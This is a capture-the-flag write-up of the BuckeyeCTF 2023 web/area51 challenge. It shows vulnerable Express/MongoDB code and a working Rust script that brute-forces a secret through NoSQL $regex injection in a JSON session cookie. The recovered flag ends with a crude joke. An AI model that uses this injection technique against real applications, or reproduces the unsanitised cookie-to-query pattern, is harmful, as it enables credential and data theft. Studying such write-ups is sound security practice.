This is how I solved the web/area51 challenge of BuckeyeCTF 2023.
Challenge
The challenge consisted of an Express server connected to a MongoDB instance. Users can log into the web page with a username and password and will be given a session cookie. If you visit the page with a valid session cookie, you will be served a different page.
init_users.js
(GH):
db.createCollection('users')
db.users.insert( { username: "AlienAdmin", password: "WackaWacka", admin: true, session: FLAG} )
my_users = [/* snip */]
db.users.insertMany(my_users)
index.js
(GH):
import { Router } from 'express';
const router = Router();
import User from '../User.js';
router.get('/', (req, res) => {
var session = res.cookies.get("session");
if (session) {
session = JSON.parse(session);
var token = session.token
return User.find({
session: token
}).then((user) => {
if (user.length == 1) {
return res.render('dashboard');
}
return res.render('index');
})
.catch((e) => {
res.json({ message: 'Hm server errored'});
});
}
return res.render('index');
});
router.post('/api/login', (req, res) => {
let { username, password } = req.body;
if (username && password && typeof username === 'string' && typeof password === 'string') {
return User.find({
username,
password,
admin: false
})
.then((user) => {
if (user.length == 1) {
var new_session = {
token: user[0].session,
username: user[0].username
}
res.cookies.set("session", JSON.stringify(new_session));
if (user[0].admin) {
return res.json({logged: 1, message: `Success! Welcome back chief stormer.` });
} else {
return res.json({logged: 1, message: `Success, welcome back ${user[0].username}.` });
}
} else {
return res.json({logged: 0, message: 'Login failed :/'});
}
})
.catch((e) => {
return res.json({ message: 'Hm server errored'});
});
}
return res.json({ message: 'Login failed :/'});
});
export default router;
Analysis
At first, the most tempting thing to do is to analyze the /api/login
route. However, if there is a vulnerability there, I did not find it. Instead, there is actually a vulnerability in the index route. First of all, I noticed that you can pass in an arbitrary JavaScript object to the session
variable. This means that we can control the inputs to User.find
. I immediately searched up the function and find an article about it. According to the article, "[t]here are also comparison query operators like $gt
and $lt
". I follow the link in the article to the corresponding MongoDB documentation. In particular, the $regex
operator stands out to me. Since the index route returns different content depending on if the query matches, we can pass in a regex and gain 1 bit of information about the flag on each request.
Exploitation
I wrote a little Rust program to brute force the flag one character at a time:
const URL: &str = "https://area51.chall.pwnoh.io";
#[tokio::main]
async fn main() {
let client = reqwest::Client::new();
let mut flag_chars = vec![];
for digit in (48..=57).chain(65..=90).chain(95..=122) {
let mut s = String::new();
s.push(char::from_u32(digit).unwrap());
flag_chars.push(s);
}
flag_chars.push(String::from("\\."));
flag_chars.push(String::from("\\^"));
flag_chars.push(String::from("\\$"));
flag_chars.push(String::from("\\*"));
flag_chars.push(String::from("\\+"));
flag_chars.push(String::from("\\?"));
flag_chars.push(String::from("\\!"));
flag_chars.push(String::from("#"));
flag_chars.push(String::from("%"));
flag_chars.push(String::from("-"));
flag_chars.push(String::from("_"));
println!("using character set {flag_chars:?}");
let mut matches = String::new();
let mut complete = false;
let mut match_found = false;
while !complete {
for flag_char_candidate in &flag_chars {
let re = format!("bctf{{{matches}{flag_char_candidate}.+}}");
let test = test_regex(&client, &re).await;
if test.is_match() {
matches.push_str(&flag_char_candidate);
println!("found match: {flag_char_candidate:?}");
match_found = true;
break;
}
}
if match_found {
match_found = false;
continue;
}
complete = true;
}
println!("found the full flag: \"bctf{{{matches}}}\"");
}
#[derive(Debug)]
enum RegexMatch {
Match,
NoMatch
}
impl RegexMatch {
fn is_match(&self) -> bool {
match self {
Self::Match => true,
Self::NoMatch => false
}
}
}
async fn test_regex(client: &reqwest::Client, re: &str) -> RegexMatch {
let resp = client.get(URL).header("Cookie",
format!("session={{\"token\": {{\"$regex\": \"{re}\"}}}}")
).send().await.unwrap()
.text().await.unwrap();
match resp.chars().nth(37) {
Some('P') => RegexMatch::Match,
_ => RegexMatch::NoMatch
}
}
The script gives me the result bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0gS_GA}
, which isn't the full flag. The issue with my script is that it doesn't get the last character of the flag. Despite not having the full flag, I was able to guess that the full flag should actually be bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0gS_GAy}
in reference to the infamous Alex Jones clip.